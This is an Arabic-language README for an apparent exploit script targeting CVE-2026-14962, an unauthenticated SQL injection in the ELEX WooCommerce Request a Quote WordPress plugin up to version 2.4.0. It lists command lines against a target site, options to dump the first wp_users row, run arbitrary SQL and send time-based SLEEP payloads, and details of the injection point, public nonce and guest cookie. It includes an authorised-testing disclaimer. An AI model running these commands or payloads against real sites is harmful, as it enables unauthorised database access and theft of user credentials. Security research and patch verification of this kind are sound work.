
إضافة WordPress ELEX WooCommerce Request a Quote ثغرة حقن SQL بدون مصادقة
حقن SQL غير مُصادَق عليه في إضافة WordPress ELEX WooCommerce Request a Quote
ELEX WooCommerce Request a Quote (إضافة WordPress elex-request-a-quote) ≤ 2.4.0 — حقن SQL غير مُصادَق عليه عبر إجراء AJAX العام elex_raq_add_to_quote.
للاختبار المصرّح به فقط. لا تشغّل هذا ضد أنظمة لا تملكها أو لا تملك إذنًا باختبارها.
يتطلب: Python 3، المكتبة القياسية فقط. يجب أن يكون الهدف مشغّلًا لـ WooCommerce (تُطبع سكربتات/nonce الخاصة بالعرض في صفحة المتجر/الرئيسية).
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| الخيار | ما يفعله |
|---|
-u / --url | جذر موقع WordPress (مطلوب). http:// أو https://؛ يُجرَّب اسم المضيف كـ HTTPS أولًا، ثم HTTP. تُعاد محاولة TLS الموقّع ذاتيًا تلقائيًا. --insecure يتخطى التحقق من البداية |
--test | كضيف: إصدار الإضافة + nonce العام، ثم فحص SQL غير مدمّر بقيمة $0 |
--dump | أول صف من wp_users + مستخدم قاعدة البيانات. يتطلب WP_DEBUG حتى يظهر خطأ XPATH في جسم استجابة HTTP |
--query SQL | تعبير SQL الخاص بك (بدون علامات اقتباس مفردة؛ استخدم 0x… بالنظام الست عشري للسلاسل) |
--sql EXPR | data[id] الخام بعد كسر $0$0 (أنت تكتب أداة ) OR … #) |
--sleep N | محاولة SLEEP(N) المعتمدة على الوقت |
--pid / --vid | معرّفات منتج / تنويع WooCommerce (يجب أن يكون التنويع غير فارغ للوصول إلى نقطة الحقن) |
--insecure | تخطي التحقق من TLS |
--timeout | مهلة HTTP بالثواني (الافتراضي 30) |
غير مُصادَق عليه. يُطبع nonce في request_a_quote_ajax_obj على / و /shop/. كوكي الضيف هو request_a_quote_user_coockie (كما ورد في الإضافة).
يرسل --test الطلب attribute_value=$0. في الإصدار 2.4.0 المصاب، يعامل preg_replace القيمة $0 على أنها مطابقة %s ويترك %d حرفيًا في الاستعلام. أما 2.4.1 فيربط JSON_CONTAINS وتكون $0 مجرد قيمة JSON.
Stdout: VERSION، NONCE، VULNERABLE، NOT_VULNERABLE، NOT_FOUND، NO_NONCE، NO_DUMP، SQLERR، SLEEP.
CVE: CVE-2026-14962. سجل تغييرات الإضافة 2.4.1.
